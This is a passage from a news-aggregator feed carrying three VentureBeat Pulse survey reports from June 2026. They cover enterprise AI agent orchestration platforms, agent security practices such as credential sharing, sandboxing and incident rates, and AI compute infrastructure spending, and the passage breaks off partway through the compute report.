CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a 